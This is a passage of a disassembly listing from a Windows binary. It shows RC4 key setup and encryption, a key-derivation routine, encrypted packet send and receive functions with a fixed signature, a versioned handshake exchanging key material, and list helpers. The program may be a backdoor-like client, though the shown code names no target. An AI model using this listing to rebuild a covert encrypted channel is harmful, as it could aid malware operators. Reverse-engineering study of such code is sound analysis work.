; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018BB	proc near		; CODE XREF: sub_401A55+14p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_4018DD:				; CODE XREF: sub_4018BB+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018DD
		and	[ebp+var_8], 0
		xor	edi, edi
		xor	ecx, ecx


loc_4018F1:				; CODE XREF: sub_4018BB+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_40192B
		and	[ebp+var_8], 0


loc_40192B:				; CODE XREF: sub_4018BB+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018F1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40193B	proc near		; CODE XREF: sub_401ADA+86p
					; sub_401BAC+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_4019A2
; ---------------------------------------------------------------------------


loc_40195B:				; CODE XREF: sub_40193B+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_4019A2:				; CODE XREF: sub_40193B+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_40195B
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40193B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019C3	proc near		; CODE XREF: sub_403C3F+EFp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_401048
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_4019ED:				; CODE XREF: sub_4019C3+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_4019ED
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_401A0A:				; CODE XREF: sub_4019C3+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_401A0A
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4019C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A3B	proc near		; CODE XREF: sub_403C3F+37Fp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_401076
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx
		pop	ebx
		retn
sub_401A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A55	proc near		; CODE XREF: sub_401ADA+27p
					; sub_401BAC+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4018BB
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_401AAD
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_401A55+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_401AAD:				; CODE XREF: sub_401A55+3Ej
		cmp	esi, 40h
		jl	short loc_401A95
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_401ABD:				; CODE XREF: sub_401A55+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_401ABD
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ADA	proc near		; CODE XREF: sub_401B8F+13p
					; sub_401D76+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_401AF3
		cmp	esi, 0FFFFh
		jle	short loc_401AFA


loc_401AF3:				; CODE XREF: sub_401ADA+Fj
		xor	eax, eax
		jmp	loc_401B88
; ---------------------------------------------------------------------------


loc_401AFA:				; CODE XREF: sub_401ADA+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_401B07
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401B07:				; CODE XREF: sub_401ADA+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_401B39
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_407630
		add	esp, 0Ch


loc_401B39:				; CODE XREF: sub_401ADA+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_401B68
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401B68:				; CODE XREF: sub_401ADA+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_401787
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_401B85
		xor	eax, eax
		jmp	short loc_401B88
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401ADA+A5j
		xor	eax, eax
		inc	eax


loc_401B88:				; CODE XREF: sub_401ADA+1Bj
					; sub_401ADA+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401ADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B8F	proc near		; CODE XREF: DMN0:00401F47p
					; sub_403C3F+20Bp

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401ADA
		add	esp, 14h
		pop	ebp
		retn
sub_401B8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BAC	proc near		; CODE XREF: sub_401D5B+11p
					; DMN0:00401E35p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_401BD5
		cmp	eax, 0FFFFh
		jle	short loc_401BDD


loc_401BD5:				; CODE XREF: sub_401BAC+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401BDD:				; CODE XREF: sub_401BAC+27j
		test	esi, esi
		jz	short loc_401BE8
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401BE8:				; CODE XREF: sub_401BAC+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C0F
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C0F:				; CODE XREF: sub_401BAC+51j
		test	esi, esi
		jz	short loc_401C25
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C25:				; CODE XREF: sub_401BAC+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_401C48
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C48:				; CODE XREF: sub_401BAC+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C6E
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C6E:				; CODE XREF: sub_401BAC+B0j
		test	esi, esi
		jz	short loc_401C83
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C83:				; CODE XREF: sub_401BAC+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401CBD
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401CBD:				; CODE XREF: sub_401BAC+FFj
		test	esi, esi
		jz	short loc_401CD3
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401CD3:				; CODE XREF: sub_401BAC+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_401D0B
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_401D0B
		or	eax, 0FFFFFFFFh
		jmp	short loc_401D54
; ---------------------------------------------------------------------------


loc_401D0B:				; CODE XREF: sub_401BAC+13Ej
					; sub_401BAC+158j
		test	esi, esi
		jz	short loc_401D24
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401D24:				; CODE XREF: sub_401BAC+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_401D51
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_401D38
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_401D38:				; CODE XREF: sub_401BAC+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_401D51
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_407630
		add	esp, 0Ch


loc_401D51:				; CODE XREF: sub_401BAC+17Cj
					; sub_401BAC+191j
		mov	eax, [ebp+var_4]


loc_401D54:				; CODE XREF: sub_401BAC+2Cj
					; sub_401BAC+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D5B	proc near		; CODE XREF: sub_401F51+18p
					; sub_403C3F+26Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401BAC
		add	esp, 14h
		pop	ebp
		retn
sub_401D5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D76	proc near		; CODE XREF: sub_403C3F+166p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	9
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_407630
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_407630
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_401ADA
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401D76	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_401BAC
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_401E4E
		cmp	esi, 0Ah
		jge	short loc_401E7B


loc_401E4E:				; CODE XREF: DMN0:00401E47j
		cmp	esi, 0Ah
		jge	short loc_401E60
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401E74
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: DMN0:00401E51j
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx


loc_401E74:				; CODE XREF: DMN0:00401E5Ej
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E7B:				; CODE XREF: DMN0:00401E4Cj
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_401E9B
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E9B:				; CODE XREF: DMN0:00401E82j
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_401EDE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EDE:				; CODE XREF: DMN0:00401ED8j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_401EEE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: DMN0:00401EE8j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_401F05
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401F05:				; CODE XREF: DMN0:00401EFFj
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_407630
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_407630
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_401F2F:				; CODE XREF: DMN0:00401E76j
					; DMN0:00401E96j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_401B8F
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F51	proc near		; CODE XREF: sub_403C3F+18Ep
					; sub_403C3F+245p

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_401F80
		cmp	ebx, 1
		jz	short loc_401F85


loc_401F80:				; CODE XREF: sub_401F51+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401F89
; ---------------------------------------------------------------------------


loc_401F85:				; CODE XREF: sub_401F51+2Dj
		movzx	eax, [ebp+var_2]


loc_401F89:				; CODE XREF: sub_401F51+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F8E	proc near		; CODE XREF: sub_4066F1+3Ap
		push	ebx
		push	10h
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_401F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F9B	proc near		; CODE XREF: DMN0:00401FD4p
					; DMN0:004021DFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_401FC6
		mov	esi, [ebx+4]
		jmp	short loc_401FB7
; ---------------------------------------------------------------------------


loc_401FAB:				; CODE XREF: sub_401F9B+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_401076
		pop	ecx


loc_401FB7:				; CODE XREF: sub_401F9B+Ej
		test	esi, esi
		jnz	short loc_401FAB
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_401FC6:				; CODE XREF: sub_401F9B+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F9B	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_401FE1
		push	ebx
		call	sub_401F9B
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx


loc_401FE1:				; CODE XREF: DMN0:00401FD1j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401FE3	proc near		; CODE XREF: sub_4042CD+B0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_40200A
; ---------------------------------------------------------------------------


loc_401FF6:				; CODE XREF: sub_401FE3+29j
		cmp	[edx+4], ecx
		jnz	short loc_402007
		test	bx, bx
		jz	short loc_402005
		cmp	[edx], bx
		jnz	short loc_402007


loc_402005:				; CODE XREF: sub_401FE3+1Bj
		jmp	short loc_40200E
; ---------------------------------------------------------------------------


loc_402007:				; CODE XREF: sub_401FE3+16j
					; sub_401FE3+20j
		mov	edx, [edx+8]


loc_40200A:				; CODE XREF: sub_401FE3+11j
		test	edx, edx
		jnz	short loc_401FF6


loc_40200E:				; CODE XREF: sub_401FE3:loc_402005j
		mov	eax, edx
		pop	ebx
		retn
sub_401FE3	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_402032
		mov	[ebx], esi


loc_402032:				; CODE XREF: DMN0:0040202Ej
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402049	proc near		; CODE XREF: DMN0:004021F6p
					; sub_403B86+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_402067
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_402049+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_40206C:				; CODE XREF: sub_402049+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402049	endp


; =============== S U B	R O U T	I N E =======================================



sub_402083	proc near		; CODE XREF: DMN0:0040219Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_4020B0
; ---------------------------------------------------------------------------


loc_402096:				; CODE XREF: sub_402083+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_4020AB
		test	bx, bx
		jz	short loc_4020A9
		cmp	[esi], bx
		jnz	short loc_4020AB


loc_4020A9:				; CODE XREF: sub_402083+1Fj
		jmp	short loc_4020B4
; ---------------------------------------------------------------------------


loc_4020AB:				; CODE XREF: sub_402083+1Aj
					; sub_402083+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_4020B0:				; CODE XREF: sub_402083+11j
		test	esi, esi
		jnz	short loc_402096


loc_4020B4:				; CODE XREF: sub_402083:loc_4020A9j
		test	esi, esi
		jnz	short loc_4020BC
		xor	eax, eax
		jmp	short loc_402102
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_402083+33j
		test	edi, edi
		jz	short loc_4020D6
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_4020CE
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4020CE:				; CODE XREF: sub_402083+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_4020F1
; ---------------------------------------------------------------------------


loc_4020D6:				; CODE XREF: sub_402083+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4020F1
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_4020F1:				; CODE XREF: sub_402083+51j
					; sub_402083+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402102:				; CODE XREF: sub_402083+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402083	endp


; =============== S U B	R O U T	I N E =======================================



sub_402106	proc near		; CODE XREF: DMN0:004021C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_402128
; ---------------------------------------------------------------------------


loc_402118:				; CODE XREF: sub_402106+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_40212C
		mov	edi, esi
		mov	esi, [esi+8]


loc_402128:				; CODE XREF: sub_402106+10j
		test	esi, esi
		jnz	short loc_402118


loc_40212C:				; CODE XREF: sub_402106+1Bj
		test	esi, esi
		jnz	short loc_402134
		xor	eax, eax
		jmp	short loc_40217A
; ---------------------------------------------------------------------------


loc_402134:				; CODE XREF: sub_402106+28j
		test	edi, edi
		jz	short loc_40214E
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_402146
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_402146:				; CODE XREF: sub_402106+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_402169
; ---------------------------------------------------------------------------


loc_40214E:				; CODE XREF: sub_402106+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_402169
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_402169:				; CODE XREF: sub_402106+46j
					; sub_402106+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


